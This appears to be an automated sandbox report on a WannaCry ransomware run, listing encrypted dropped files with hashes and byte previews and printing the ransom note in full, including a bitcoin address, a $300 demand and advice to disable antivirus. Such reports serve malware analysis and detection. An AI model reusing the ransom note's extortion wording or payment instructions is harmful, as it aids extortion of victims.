                                    Preview:._._..kiX.O.....H%..-...........G...ii..^vP.6..n4...\......n*.B..SG..#H1..}...ThE.?~.....6v.]k....+..HR,........g~9.d6..j...|..\E...e.h/.lYpn2.qh....v..;..S.H......>..G j.J.3w5A..........._......DN..P.o:._.......J.>...zR:J\.7].........4T?.......Rl.(.....0p.~......|.%i.!.......DC.f-..G.z.s..S.>^.8?.[.)t/..&}?....>..H.....K. .....6..Z...'..b..H.....h..Q....8..........1...]..<....Me..)q.. ..7.g.2...;...=G&U.g.4f.7..b.9.76.j......Ui.BI..E.|...9..y...I.U..<.i.2.q.O.q6...z........H.c....YI;O&~...Q .h...y`0...c.>.U<.%.0..I...X..&>.kA...5].4s.*x...1+.{5N...2!.3bP..........*8.3..{Z.....$.R2A..,..f..Pp..[.7....Z.N~..]..4..0...T...r..c....}...7F.x1P...I.4.......sg./y....W.P.j..a...n..w.......%&.P70O.\.!.....V...i..0..).;..{p#Y.l.."J..b.{?.xa...9...".1+..M.J17R..8..$T..*H.zEP.|L....._.F'..'^.R..Q.K.z..%...G3..X.....-f.G..!.e.8.........F...#.?.:.......p"Ig.H.]K.[.>.`...70.L.h......X.`E..$:.*y#p(`.xnl.... M.}....[.X......*I.I.......}...0..<.jy;p.....Y

                                    C:\Users\user\Desktop\UNKRLCVOHV.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852112901477557
                                    Encrypted:false
                                    SSDEEP:24:bkr7fQ8S5SpDIbYcBGHHqABdHtJaCWL4I5VUtuo2x5ybEIN0fePHYZ/tLdcb/j:bkr7fc5SpDIUcBGJP3aCS4I54niyAI7R
                                    MD5:F329DD89E1019100A17C041A20012CC4
                                    SHA1:7FB260C663DEB06FF0E8B31C62B746DC7499F794
                                    SHA-256:0BCD7C3E809C6C164D1CB1B94BD86516A4005F64A60C368258EB398ACB8C5296
                                    SHA-512:143AB9F0BF00405587F0F16A91890C8757E9270476903E088B94819FCA5A7813545223011F0F6CAD7C8E6EB916BB108554735EE9BE1F9815DFA8DF816BF1E9B9
                                    Malicious:false
                                    Preview:WANACRY!........~...m+..P..\x(5.....>h;n..1...mdy..[..m.......d.>..*..7.|...=*.[.[Bz.o\..kR.j.....i.....@...R..d_1TU...W.q#.W<.:-Q.j.n..v.a.V.p..Y.....*..Jq.+=.h.O..b.......!.6_.....,..U..F...`5....W..?e..z<.[D.....O|..../,........h.X....yJ..T...p..#a...3....................C.8..TE..8.G..Z."..?.x$'.......+..Nb.X2..y...1=..\.a3..s....{.AJ(|..-M.......w<E...=.Q`.\U.U.j.......P?...RL.Fz..(..._.=Nbs.3bCj.."..a.r.....LM)...:...".......>HAw .U).+..].4......C.....@..d...['......O..s..._:...T|lJ.....sii+v.o...2.*..lT.......WG.7...qK?.n*....m..Y..;...kA7.gur....%.Q..3..k>.....K..Z.!...l..2..}........GT.rO..g.Y......."...n..#..J.?...Or..%.Jo.1......M..7..T.ix.3..BR.C..,..E.......'../.7....A.OU.C.\..;...OY%..[;y....'.9)..`..X1X....@......pn..y.b..v...h.c.........&...v......CaR.9.Q.u8@~...q$....;=..NPE.z2Z.}_.K.U.'#...#v..s.u. ..ZIWN%....l.u.W..f...?.%y..m..r..V..$|..!zK6.(J..h..p....a..09.h...<.....>1...)_[..bM..:._....M.I....Xy...6.;.....L.t..,..B..y....y.5Oh...

                                    C:\Users\user\Desktop\UNKRLCVOHV.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852112901477557
                                    Encrypted:false
                                    SSDEEP:24:bkr7fQ8S5SpDIbYcBGHHqABdHtJaCWL4I5VUtuo2x5ybEIN0fePHYZ/tLdcb/j:bkr7fc5SpDIUcBGJP3aCS4I54niyAI7R
                                    MD5:F329DD89E1019100A17C041A20012CC4
                                    SHA1:7FB260C663DEB06FF0E8B31C62B746DC7499F794
                                    SHA-256:0BCD7C3E809C6C164D1CB1B94BD86516A4005F64A60C368258EB398ACB8C5296
                                    SHA-512:143AB9F0BF00405587F0F16A91890C8757E9270476903E088B94819FCA5A7813545223011F0F6CAD7C8E6EB916BB108554735EE9BE1F9815DFA8DF816BF1E9B9
                                    Malicious:false
                                    Preview:WANACRY!........~...m+..P..\x(5.....>h;n..1...mdy..[..m.......d.>..*..7.|...=*.[.[Bz.o\..kR.j.....i.....@...R..d_1TU...W.q#.W<.:-Q.j.n..v.a.V.p..Y.....*..Jq.+=.h.O..b.......!.6_.....,..U..F...`5....W..?e..z<.[D.....O|..../,........h.X....yJ..T...p..#a...3....................C.8..TE..8.G..Z."..?.x$'.......+..Nb.X2..y...1=..\.a3..s....{.AJ(|..-M.......w<E...=.Q`.\U.U.j.......P?...RL.Fz..(..._.=Nbs.3bCj.."..a.r.....LM)...:...".......>HAw .U).+..].4......C.....@..d...['......O..s..._:...T|lJ.....sii+v.o...2.*..lT.......WG.7...qK?.n*....m..Y..;...kA7.gur....%.Q..3..k>.....K..Z.!...l..2..}........GT.rO..g.Y......."...n..#..J.?...Or..%.Jo.1......M..7..T.ix.3..BR.C..,..E.......'../.7....A.OU.C.\..;...OY%..[;y....'.9)..`..X1X....@......pn..y.b..v...h.c.........&...v......CaR.9.Q.u8@~...q$....;=..NPE.z2Z.}_.K.U.'#...#v..s.u. ..ZIWN%....l.u.W..f...?.%y..m..r..V..$|..!zK6.(J..h..p....a..09.h...<.....>1...)_[..bM..:._....M.I....Xy...6.;.....L.t..,..B..y....y.5Oh...

                                    C:\Users\user\Desktop\UNKRLCVOHV.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.809067294819806
                                    Encrypted:false
                                    SSDEEP:24:iJDP2Xy6V7SZqe0pbSTLgrIEogeasn7FjTK/2Wp+EOZRUup:SDP2jJSZwSfTg8FjOhM
                                    MD5:5F4842F7D6FF02C5F15BCA005E640107
                                    SHA1:D679830A766C8295399395969E8978627025AAF9
                                    SHA-256:7E85E6A88F3B3F4C163DC93B427E585D251684246F3227CA9C1B0515524E73C4
                                    SHA-512:C73EE22B3684DD2266A60C3E4C82C5028F93AACA8DA413172F3AFD5A55816D0C77B2ABACCC9D085A293422E9CDB7337A15C748A1716B2BA3F0FD88E58F804D71
                                    Malicious:false
                                    Preview:G.-....R.(R....<T....4....s..~._JuU..56.2z...,N,..B:.n....O$V..&1.. }%...."..>.|.....>...,.....}.....8.I\....vL....OG...l.>....x....oR....E$....S..bAZ.}.N...|k<...X.@....Ut..b..8.`.N.C...<...v^...Q\.j..Hp..+T5.f.#.q.T..@.`......f_..f.....<K...o.A.$.xf..E.IBvpO.....y.h....f.....T6.L.m...;^13...>";...... J5...V`K..{..F....B...+F;...'.g.[..< -'I.W.a[..^...>0.5*.M.......=. .c.....O.N:/...&...H..~...Y.ug6l....t...D..!='..L9iT0..#Nw....1.x.B1b..B.".q....(v.P...z.7(....CH............o.F... ...`:.o...h] B...]NA.^.J..9u7BG..QD.5G{7..Y.,.G.].PV..I..~.o.l..`.<...>.3..._.lX.0.p....?..}/.....E.....*6FZ..G.S....4........k.w..q.q..5..o:IQN..z.......4...h/@C.y&/..6.4....:.^*..*.4#<....H!.C#.D.&j..z.aTk.!...bz..8.M.D.9?.OX|r. ....L..G.K..N..pe$.S+unYC..7,}_.#p.lQIs.. L.ng...E.Q.9.P...On&@z..l<..k.Q..>\.w.T.`}9.]'.Ug.>...4..tp.O,.L...~.!7...@z....e"....e.......w.S..k...:.........p.../.H..f6je`].d<.(.O4.-X.3w.....[.8.y.%T...BO..6......v.\m...e....

                                    C:\Users\user\Desktop\UNKRLCVOHV.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84184443022626
                                    Encrypted:false
                                    SSDEEP:24:bk+zHYaWwrl7Gu5AWOUnETar4xHWygVm8RIMcoWHj2rhbaY1OnbHOE5iZ:bk+zH3WwEu5AnUnEcSWNmyvcRHCVu7be
                                    MD5:E12C8EAE0E9AC77A1416FF71A960415E
                                    SHA1:A95524CA81537EEC0E221B5864E66B23F10AF5B9
                                    SHA-256:F376AB6837208123718574A5803D78DC92A88D386484B4574048AD68093F324F
                                    SHA-512:B8D4358FCCE2C0B26EF08A1C5D416888ECC497E97A42FA65CF5D3C7C6CF1F7B5B5F650793F3186E054E89BA37C7383D6AE058CE9369574EDE9BACBBF07C54222
                                    Malicious:false
                                    Preview:WANACRY!.......=..s8....X...[.........=....AL.....FD..P\...o..{Zrm.s.]\4.......N...gu..2.......o.......W;.T.E...t..]........A.FOem...dz.?..o...|..'p.N#..0...)..=....r....FC..=...H........=6.e..V.....U.Ec..8\2./g-.....@..t...f7V..t.alN......SM}W.y.(.ET0...............n..K...Y..X...`~\.>..}..:j.....T..q.......9Q...P.Y....X.~.....+/.{1E.0....Q.`.7.....WD.Tl..?.+..y...i#.=.^.{.zT.;...S..?.Y.%%.S`._.......wTpo....x..gT}._ .{Q......VX2..m.M.$&..~.2....b.C...Yc...;.DD...._ .m..y....NrY.f...q.......H.7.O|.Z.N..`.O".D......c.<G..[};H.MBl....-"..`....y\y.iC...D.^...57H.Mn....,.w...8.._z![.3ok..J..l..{p-.&~.~...-Z.....T......&...|....}).....i...3'.v.(n~.....1_.N....mY.....",vTVn._..Y.+...z.f.f..&..cL.......k.#.=.........&...h.[~y....Q..>...P.@.!.....7O....d...."..4...c1B.gEZ8..,k.....r.,`..*.e.{+..K;.Y...6.S*.w..U.......E.k..>%.t..e.^T.w.P.mW*.r...A...A.@TW......f...b[..fAa.(.NH0M............2g....(...q6....0......*P79.8q......*.]...<...

                                    C:\Users\user\Desktop\UNKRLCVOHV.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84184443022626
                                    Encrypted:false
                                    SSDEEP:24:bk+zHYaWwrl7Gu5AWOUnETar4xHWygVm8RIMcoWHj2rhbaY1OnbHOE5iZ:bk+zH3WwEu5AnUnEcSWNmyvcRHCVu7be
                                    MD5:E12C8EAE0E9AC77A1416FF71A960415E
                                    SHA1:A95524CA81537EEC0E221B5864E66B23F10AF5B9
                                    SHA-256:F376AB6837208123718574A5803D78DC92A88D386484B4574048AD68093F324F
                                    SHA-512:B8D4358FCCE2C0B26EF08A1C5D416888ECC497E97A42FA65CF5D3C7C6CF1F7B5B5F650793F3186E054E89BA37C7383D6AE058CE9369574EDE9BACBBF07C54222
                                    Malicious:false
                                    Preview:WANACRY!.......=..s8....X...[.........=....AL.....FD..P\...o..{Zrm.s.]\4.......N...gu..2.......o.......W;.T.E...t..]........A.FOem...dz.?..o...|..'p.N#..0...)..=....r....FC..=...H........=6.e..V.....U.Ec..8\2./g-.....@..t...f7V..t.alN......SM}W.y.(.ET0...............n..K...Y..X...`~\.>..}..:j.....T..q.......9Q...P.Y....X.~.....+/.{1E.0....Q.`.7.....WD.Tl..?.+..y...i#.=.^.{.zT.;...S..?.Y.%%.S`._.......wTpo....x..gT}._ .{Q......VX2..m.M.$&..~.2....b.C...Yc...;.DD...._ .m..y....NrY.f...q.......H.7.O|.Z.N..`.O".D......c.<G..[};H.MBl....-"..`....y\y.iC...D.^...57H.Mn....,.w...8.._z![.3ok..J..l..{p-.&~.~...-Z.....T......&...|....}).....i...3'.v.(n~.....1_.N....mY.....",vTVn._..Y.+...z.f.f..&..cL.......k.#.=.........&...h.[~y....Q..>...P.@.!.....7O....d...."..4...c1B.gEZ8..,k.....r.,`..*.e.{+..K;.Y...6.S*.w..U.......E.k..>%.t..e.^T.w.P.mW*.r...A...A.@TW......f...b[..fAa.(.NH0M............2g....(...q6....0......*P79.8q......*.]...<...

                                    C:\Users\user\Desktop\UNKRLCVOHV\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Desktop\UNKRLCVOHV\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Desktop\UNKRLCVOHV\AQRFEVRTGL.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.805720177395011
                                    Encrypted:false
                                    SSDEEP:24:dkT0olVhrs/5EDOr5qPCHh8iKEUF6gcfFoa3yBvdC3Wge/7v8FV:dlojhr8EirMGh8iK96zuaCBU3Q/7M
                                    MD5:87246575986DF27A620C9EC2128E79E3
                                    SHA1:65D1B777163E767727A46605089CA0542912BA5A
                                    SHA-256:0E0516F1004D1C8A77BAE6DD2A0C9796AFA927E0F2F784FFD916737EDD771F67
                                    SHA-512:2BC48AB64D96D0DAA29B90C45AB18816648EF69E59E10BFFC9FFCB4A9CFDB6387ACE0D372FB6C8EC8E60737D7DCB7FC8A79FDF0E0A1C7BE9EB82F039AD79BA0E
                                    Malicious:true
                                    Preview:..Z.#y../..BM&4sX.4qL...I.<.V..fo..:b/G....c.~.....;p.qVn.....k..<R.I........Q.......x..._...I!..G7...&...y}..8Y....:.wZ.4. KF.[Mf ...'.`Ys.....j....k.L.$..F........).....{.sHjI....5.....Q..p...$s.{D...b.(kQ....6`.p1.k..S....\..R.n{..Hu...x`x....Z.:u5,s...>7W.j....Y.s:..s.zM.HL.b........n...N.].....F_...H5".%.j....Q...#.....8...2.1......H..b..87..<.d.q......< .w.p...'...%..A....T..?k.t.[e.....U.i.s.~..m.zeG..E.mh G..R.]..n.......CI.5..5c........8.S.....).............q....Z..f2..n.pVK*..LH..-....:.(..jZ/.Z.-.{+J...V.2..l?.I).980..Q.C...-.m..u....y.:o~|...j..........k..Fk$Y....+.f...1a.X.......D.DG.5..N..z+....b.[...]...9....)0.|+g..@R..o.......i.1a.6.Wku.xs...._....&5{..%."...9...,k...#.mXy)a..}R....-...V....s....1.......E.z.....,.:...l..+u9......Zb.0M..n.@'..AF..$j...b->[....t[..i...{ab..6..[..)#.Avu...5...z. gu.Fz.0..;&....p....)....L........G{....[.....Ho...~#..r...~0h...r.R.=TM......8.].S.0 ..y..D.@.A1..R.z.4../....f....7.ZEU...e.f

                                    C:\Users\user\Desktop\UNKRLCVOHV\AQRFEVRTGL.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.810557260692343
                                    Encrypted:false
                                    SSDEEP:24:bkpjG0Q06E4uz8PNdOv+aWVMRyu8rhgw3SMsfSR8YN4gAeoaddRli//fPtC:bkPF4w2rO8KwlV8YNlho68//fFC
                                    MD5:8B3498D8A710E7E0203DA6842B28A91A
                                    SHA1:5D4520E391CD009740EF11B135E62273B0B1CD6B
                                    SHA-256:FAF8D2D086FA4FA757D5707816E0F10FC8E0416B118F166B6F8C419E3447F6C6
                                    SHA-512:A2C863E33D9A5E617F51008F9608628CB807F23407AB1FF55670B8D07B16DC6B1BDD7C24B3E0ADEBCCB27F184A99BDB85D3EEEBD9F35AED7A5870685B6710683
                                    Malicious:false
                                    Preview:WANACRY!.....&}kN...b.t....$B.u.Z.R....\i.2.....H..k......e!..h..8S5..y..8t..^S.>G.x~t=].I.`d.........O..0X....6..Q.F..+..........nn..7^...{l.;....x.X.....k.e..&.1`....q.*.....>..a........n..S.nM....'(7.S...3y.....u.&...>F!..U......d.....}2.z...u.E...v.3O..............t......4TE.z.vLv2..B".J.F>.....0/.m..8X.x07...}.[...t.v./D.q.6....r8T..n.[,).....B..yp.@..S:.^.%.....E..E...d..WF.y...j..Oe......W......~5...........D.rj%.t9.CJ..-z...nb..h.....a.byc.+.R..25.h..ej.......Y>....]c.`...Qj;g.F......Q....l.b.26.,..QNX,?..f.(\.........QO....P6-e..n-k.tb$..=..r..16.G..8..s.._.)....;M...7......L.Qy...>2....b{?."nq.."u...<R.I..l.....9........=.....@.c..E.O#...\r&.=.9B.a.....)...h...%].a.......3......:.`...'j..4...s...+.}P.....[.....`'N..y..^G...BH..0.V.n..m....j@...R.S.g.u...Q.h.......H...^.!.s...5.4`bf.W.......Z...B._}.;..k..N...J.....7.t......_>;..~.......rTu.$"..g.*..\....n.\`...~B.....<.$..t.h.....m.V....e..._.....G...X.H....K.p.C..._"(z5....c

                                    C:\Users\user\Desktop\UNKRLCVOHV\AQRFEVRTGL.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.810557260692343
                                    Encrypted:false
                                    SSDEEP:24:bkpjG0Q06E4uz8PNdOv+aWVMRyu8rhgw3SMsfSR8YN4gAeoaddRli//fPtC:bkPF4w2rO8KwlV8YNlho68//fFC
                                    MD5:8B3498D8A710E7E0203DA6842B28A91A
                                    SHA1:5D4520E391CD009740EF11B135E62273B0B1CD6B
                                    SHA-256:FAF8D2D086FA4FA757D5707816E0F10FC8E0416B118F166B6F8C419E3447F6C6
                                    SHA-512:A2C863E33D9A5E617F51008F9608628CB807F23407AB1FF55670B8D07B16DC6B1BDD7C24B3E0ADEBCCB27F184A99BDB85D3EEEBD9F35AED7A5870685B6710683
                                    Malicious:false
                                    Preview:WANACRY!.....&}kN...b.t....$B.u.Z.R....\i.2.....H..k......e!..h..8S5..y..8t..^S.>G.x~t=].I.`d.........O..0X....6..Q.F..+..........nn..7^...{l.;....x.X.....k.e..&.1`....q.*.....>..a........n..S.nM....'(7.S...3y.....u.&...>F!..U......d.....}2.z...u.E...v.3O..............t......4TE.z.vLv2..B".J.F>.....0/.m..8X.x07...}.[...t.v./D.q.6....r8T..n.[,).....B..yp.@..S:.^.%.....E..E...d..WF.y...j..Oe......W......~5...........D.rj%.t9.CJ..-z...nb..h.....a.byc.+.R..25.h..ej.......Y>....]c.`...Qj;g.F......Q....l.b.26.,..QNX,?..f.(\.........QO....P6-e..n-k.tb$..=..r..16.G..8..s.._.)....;M...7......L.Qy...>2....b{?."nq.."u...<R.I..l.....9........=.....@.c..E.O#...\r&.=.9B.a.....)...h...%].a.......3......:.`...'j..4...s...+.}P.....[.....`'N..y..^G...BH..0.V.n..m....j@...R.S.g.u...Q.h.......H...^.!.s...5.4`bf.W.......Z...B._}.;..k..N...J.....7.t......_>;..~.......rTu.$"..g.*..\....n.\`...~B.....<.$..t.h.....m.V....e..._.....G...X.H....K.p.C..._"(z5....c

                                    C:\Users\user\Desktop\UNKRLCVOHV\BXAJUJAOEO.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.797586260637566
                                    Encrypted:false
                                    SSDEEP:24:9ZLUoq2hWSSgu35dTsPaN6QTdEYzjG5S1YJLUe0wXWP2N/ZTr:FnhWSGJdTsCNLEYzjsMYJY5wxRP
                                    MD5:955DE17115D6F9EFAF0FF569489A965C
                                    SHA1:1E33936B77357C19D653144047CAD34BE58AD0BD
                                    SHA-256:97D390F22CA14ACCAECB0EF09203EF9BD084F2650FD114AF36E55D6B76894321
                                    SHA-512:37C451E8790E51BC650CDB791FA6F3869F7F674996AEB60B57E73B5ADB056AFE4F59AC3F7E25C024DAB54320C45C84D7DF74982E4F50B10A8EB2B5B4F8A9699A
                                    Malicious:false
                                    Preview:..V..x..2..VY8.{.[!....H@^[:.....,.....R...>......................&C.V^..V...0...#........j..G..>g...d..f....yJ.V...n...|.'J.,(..xqX...w...Z.p.z....Wj.l..>...WZ...=.[......V,..fV.\.......\D.B.D.0..9...c........>`..~7R...t^..F.P.$..<...,...w.@.tk%.....:.<.R.22.n{g.bgL....?.O..o...LN...$..:.A.]..n...L..aL`.A....!......Fz..%.0..g..|a.4fa.O..Y....N.....^..r0.7IF....+..[..;......<..H...(.c.....xLb.5..s.C.1...x.....3K...v..w.....Wm....4.i.7R_%..hP..b...}...`....72.V.!..t.U.a..F.?...6Z1j_...+d.9<.jF.(A.@.(.........9.....@...s..;z.."....s.M.aQ:y.c..TG1fnny..]..c.{*.S.3n.4...W....8....KNN..3C.....3Z.G....3.8.}.;..k.g.>!t...X.h....k.63.?...b..2.4H.R.k..J`]....n..f...z...(3..=.I2TDd.....U..X...H.A.~J....[.)..l./..:.F.A#..Z..E<..Vb......7..L..T..V..:.]j...).L...a.*B.L..-.L....!`....Z.i.N4....4/5F`.B....Xq2..I..`R.aS...S:@".am<..Y.(..^..,.x.......=V..U....oI...?....G.C...T[.;`. ...x/zl.*..A...:!<. Y....:L:..#{.W.3..0........<.W........l.5.p.(k....

                                    C:\Users\user\Desktop\UNKRLCVOHV\BXAJUJAOEO.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.851172421478835
                                    Encrypted:false
                                    SSDEEP:24:bklG6QD3DLcbTqJ4oSR+udwS2oR07y4Aet3g7kSKIy9SIbVqX6Wyg:bklpQPLcXwsMudBaNAe9lvqX1/
                                    MD5:5E72EECA46BA2D538E00F1C863055AAF
                                    SHA1:56123579C0ED96C1C4B0D2D345120066EBF3693A
                                    SHA-256:94D3EEE21C892984366BC6614AFD0BB5A8A21DF86607A8B977B093FDFF5C1B7C
                                    SHA-512:389CC6B04382F2EA4C53EE8868C21E48A680FA9C337FE580EC6CFE245BE05265C8A3175D56173131EF351062FDAF7077BDD7B1B35E78E7B1CEDDE638E3E6ACFB
                                    Malicious:false
                                    Preview:WANACRY!......s....#}........!.o..V....T{8.FdY{6..#..MJ.x.K.,....r.b...5..rf6zF..>...a5....n..__.. ?V.....a........HSK...*....q.W...X.pH...GS.C>.....k. &..3..4....Be........I...l...X....8B.Y.....{..../.tHp.....|[..!.&..r.u:....~"g..........cn.S..u'...sk..............x.RD<C..GE.(.=...~.k..o.&....\*r..n......;c.[.(W..k...|.$....`#..L.....u6..@.f..;pV.+..!Z.u.pY....^..+..A..j.....#.0.h ...t..wU...4d/...of...Vg*....3.]....V_.l.,......0.....Q...<@._..Fc..yl...uo.l..^.._..H.....yg.+.cj'......:'....D\.....V..l.<.I......Q..w..f{c........&J.1.0.hZ$....Y..<_P.~H.,N.|...&.W.R..k.e.....]...YdM.].67....kA..".Tk....+.$......c;..ab6y.......{..wL*Fy.T~....C........7..v.=.$.."...'...r....H..i...w.N..k....k.h5.I...1..T....Q......t....S5..F.H..a..d\......n.G.v...P.y..B.z.4 ./2F.M.D.,.2{.V.F...y...-dTZ...x|.J)...-.v.)........I..K.........@;...wo_.....Y.5.l..(.I....hn..+.I+Gwl.D..Y.}.X..On.`!E......4.=.QV....U..........l.c..!m.l..iPX..N.T.....Dl.n.b....

                                    C:\Users\user\Desktop\UNKRLCVOHV\BXAJUJAOEO.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.851172421478835
                                    Encrypted:false
                                    SSDEEP:24:bklG6QD3DLcbTqJ4oSR+udwS2oR07y4Aet3g7kSKIy9SIbVqX6Wyg:bklpQPLcXwsMudBaNAe9lvqX1/
                                    MD5:5E72EECA46BA2D538E00F1C863055AAF
                                    SHA1:56123579C0ED96C1C4B0D2D345120066EBF3693A
                                    SHA-256:94D3EEE21C892984366BC6614AFD0BB5A8A21DF86607A8B977B093FDFF5C1B7C
                                    SHA-512:389CC6B04382F2EA4C53EE8868C21E48A680FA9C337FE580EC6CFE245BE05265C8A3175D56173131EF351062FDAF7077BDD7B1B35E78E7B1CEDDE638E3E6ACFB
                                    Malicious:false
                                    Preview:WANACRY!......s....#}........!.o..V....T{8.FdY{6..#..MJ.x.K.,....r.b...5..rf6zF..>...a5....n..__.. ?V.....a........HSK...*....q.W...X.pH...GS.C>.....k. &..3..4....Be........I...l...X....8B.Y.....{..../.tHp.....|[..!.&..r.u:....~"g..........cn.S..u'...sk..............x.RD<C..GE.(.=...~.k..o.&....\*r..n......;c.[.(W..k...|.$....`#..L.....u6..@.f..;pV.+..!Z.u.pY....^..+..A..j.....#.0.h ...t..wU...4d/...of...Vg*....3.]....V_.l.,......0.....Q...<@._..Fc..yl...uo.l..^.._..H.....yg.+.cj'......:'....D\.....V..l.<.I......Q..w..f{c........&J.1.0.hZ$....Y..<_P.~H.,N.|...&.W.R..k.e.....]...YdM.].67....kA..".Tk....+.$......c;..ab6y.......{..wL*Fy.T~....C........7..v.=.$.."...'...r....H..i...w.N..k....k.h5.I...1..T....Q......t....S5..F.H..a..d\......n.G.v...P.y..B.z.4 ./2F.M.D.,.2{.V.F...y...-dTZ...x|.J)...-.v.)........I..K.........@;...wo_.....Y.5.l..(.I....hn..+.I+Gwl.D..Y.}.X..On.`!E......4.=.QV....U..........l.c..!m.l..iPX..N.T.....Dl.n.b....

                                    C:\Users\user\Desktop\UNKRLCVOHV\LIJDSFKJZG.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.801322511268128
                                    Encrypted:false
                                    SSDEEP:24:BKpjcmSWbYPAuGdiLnZNtppchwiE2KdDllhoRM8GKNfwhhAD:UaPvGdirZPcqDllhMdNYhhE
